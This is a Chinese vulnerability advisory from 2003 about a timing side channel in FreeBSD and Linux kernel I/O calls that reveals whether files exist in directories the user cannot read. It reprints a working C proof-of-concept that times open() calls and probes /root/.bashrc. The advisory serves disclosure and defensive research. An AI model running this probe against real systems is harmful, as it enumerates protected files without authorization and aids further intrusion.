首页 -> 安全研究

安全研究

安全漏洞
多家厂商I/O系统调用文件是否存在可判断漏洞

发布日期:2003-04-04
更新日期:2003-04-10

受影响系统:
FreeBSD FreeBSD 4.7
FreeBSD FreeBSD 4.6
FreeBSD FreeBSD 4.5
FreeBSD FreeBSD 4.4
FreeBSD FreeBSD 4.3
FreeBSD FreeBSD 4.2
FreeBSD FreeBSD 4.1
FreeBSD FreeBSD 4.0
Linux kernel 2.4.9
Linux kernel 2.4.8
Linux kernel 2.4.7
Linux kernel 2.4.6
Linux kernel 2.4.5
Linux kernel 2.4.4
Linux kernel 2.4.3
Linux kernel 2.4.20
Linux kernel 2.4.2
Linux kernel 2.4.19
Linux kernel 2.4.17
Linux kernel 2.4.16
Linux kernel 2.4.15
Linux kernel 2.4.14
Linux kernel 2.4.13
Linux kernel 2.4.12
Linux kernel 2.4.11
Linux kernel 2.4.10
Linux kernel 2.4.1
Linux kernel 2.4
Linux kernel 2.2.9
Linux kernel 2.2.8
Linux kernel 2.2.7
Linux kernel 2.2.6
Linux kernel 2.2.5
Linux kernel 2.2.4
Linux kernel 2.2.3
Linux kernel 2.2.22
Linux kernel 2.2.21
Linux kernel 2.2.20
Linux kernel 2.2.2
Linux kernel 2.2.19
Linux kernel 2.2.18
Linux kernel 2.2.17
Linux kernel 2.2.16
Linux kernel 2.2.15
Linux kernel 2.2.14
Linux kernel 2.2.13
Linux kernel 2.2.12
Linux kernel 2.2.11
Linux kernel 2.2.10
Linux kernel 2.2.1
Linux kernel 2.2
Linux kernel 2.4.18
    - Debian Linux 3.0
    - Mandrake Linux 8.2
    - Mandrake Linux 8.1
    - Mandrake Linux 8.0
    - RedHat Linux 8.0
    - RedHat Linux 7.3
    - SuSE Linux 8.0
    - SuSE Linux 7.3
描述:
BUGTRAQ  ID: 7279

多个系统中的I/O系统调用实现存在问题。

通过判断系统调用返回的时间长度,可以判断用户本来不可访问的目录中的文件是否存在,一般如果文件不存在的时间返回一般三倍小于文件存在的返回时间。

通过检查文件是否存在,可以帮助攻击者进一步对系统进行攻击。

<*来源:Andrew Griffiths (andrewg@tasmail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104947342517055&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Andrew Griffiths(andrewg@tasmail.com) 提供了如下测试程序:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>

#ifndef O_NOFOLLOW
#define O_NOFOLLOW  0400000 /* don't follow links */
#endif

#ifndef O_LARGEFILE
#define O_LARGEFILE 0100000
#endif

int flags = O_RDONLY|O_EXCL|O_SYNC|O_NOCTTY|O_NOFOLLOW;

/* taken from scuts format string example/brute_blind example */

unsigned long int
tv_diff (struct timeval *tv_a, struct timeval *tv_b)
{
        unsigned long int       diff;

        if (tv_a->tv_sec < tv_b->tv_sec ||
                (tv_a->tv_sec == tv_b->tv_sec && tv_a->tv_sec <
tv_b->tv_sec))
        {
                struct timeval *        tvtmp;

                tvtmp = tv_b;
                tv_b = tv_a;
                tv_a = tvtmp;
        }

        diff = (tv_a->tv_sec - tv_b->tv_sec) * 1000000;
        if (tv_a->tv_sec == tv_b->tv_sec) {
                diff += tv_a->tv_usec - tv_b->tv_usec;
        } else {
                if (tv_a->tv_usec >= tv_b->tv_usec)
                        diff += tv_a->tv_usec - tv_b->tv_usec;
                else
                        diff -= tv_b->tv_usec - tv_a->tv_usec;
        }

        return (diff);
}

void cleanup()
{

    printf("[+] cleaning up\n");
    if(chmod("unreachable", 0700)==-1) {
        printf("\t[-] Unable to revert unreachable back to being reachable\n");
        exit(EXIT_FAILURE);
    }

    if(unlink("unreachable/iexist")==-1) {
        printf("\t[-] Unable to remove unreachable/iexist\n");
        exit(EXIT_FAILURE);
    }

    if(rmdir("unreachable")==-1) {
        printf("\t[-] Unable to rmdir unreachable\n");
        exit(EXIT_FAILURE);
    }
}

int main(int argc, char **argv)
{
    struct timeval tv_a, tv_b;
    int fd_a, fd_b;
    char buf_a[500], buf_b[500];

    unsigned int success, n, failure;
    
    atexit(cleanup);
    
    printf("[+] creating unreachable\n");
    if(mkdir("unreachable", 0700)==-1) {
        printf("\t[-] Unable to create unreachable\n");
        exit(EXIT_FAILURE);
    }
    
    printf("[+] creating unreachable/iexist\n");
    if((fd_a = creat("unreachable/iexist", 0700))==-1) {
        printf("\t[-] Unable to create unreachable/iexist\n");
        exit(EXIT_FAILURE);
    }
    close(fd_a);

    printf("[+] chmod 0'ing unreachable\n");
    if(chmod("unreachable", 00)==-1) {
        printf("\t[-] Unable to chmod unreachable\n");
        exit(EXIT_FAILURE);
    }

    printf("[+] "); fflush(stdout);

    system("ls -alF | grep unreachable");
    
    printf("[+] Timing open() on unreachable/iexist\n");
    
    /* fd_a = open("unreachable/exists", flags);
    close(fd_a); */
    
    gettimeofday(&tv_a, NULL);
    fd_a = open("unreachable/exists", flags);
    gettimeofday(&tv_b, NULL);
    
    
    printf("\t[+] Successful: %ld usecs, got %m\n", (success = tv_diff(&tv_b, &tv_a)));
    close(fd_a);

    printf("[+] Timing open() on unreachable/non-existant\n");
    
/*    fd_b = open("unreachable/non-existant", flags);
    close(fd_b); */
    
    gettimeofday(&tv_a, NULL);
    fd_b = open("unreachable/non-existant", flags);
    gettimeofday(&tv_b, NULL);
    

    printf("\t[+] Failure: %ld usecs, got %m\n", (failure = tv_diff(&tv_b, &tv_a)));

    close(fd_b);
    success += tv_diff(&tv_b, &tv_a);
    
    success /= 3;
//    success -= 2;

    if(failure > success || success > (failure*8) ) {
        printf("[-] It appears the load went up unexpectadly, mebe try re-running?\n");
        exit(EXIT_FAILURE);
    }

    /* tweak the success value */

    if((failure*4) >= success) success--;
    if(success <= (failure*3)) success++;
    
    printf("\t[+] Using %d as our cutoff.\n", success);
    printf("[+] testing /root/.bashrc and /root/non-existant\n");
    
/*    fd_a = open("/root/.bashrc", flags);
    close(fd_a); */
    
    gettimeofday(&tv_a, NULL);
    fd_a = open("/root/.bashrc", flags);
    gettimeofday(&tv_b, NULL);
    
    if((n = tv_diff(&tv_b, &tv_a)) >= success) {
        printf("\t[+] /root/.bashrc exists (%d usecs), got %m\n", n);
    } else {
        printf("\t[+] /root/.bashrc doesn't exist (%d usecs), got %m\n", n);
    }
    close(fd_a);
    
/*    fd_b = open("/root/non-existant", flags);
    close(fd_b); */
    
    gettimeofday(&tv_a, NULL);
    fd_b = open("/root/non-existant", flags);
    gettimeofday(&tv_b, NULL);
    
    if((n = tv_diff(&tv_b, &tv_a)) >= success) {
        printf("\t[+] /root/non-existant exists (%d usecs), got %m\n", n);
    } else {
        printf("\t[+] /root/non-existant doesn't exist (%d usecs), got %m\n", n);
    }
    
    close(fd_b);
}

建议:
厂商补丁:

FreeBSD
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.freebsd.org/security/index.html

Linux
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kernel.org/

浏览次数:3343
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障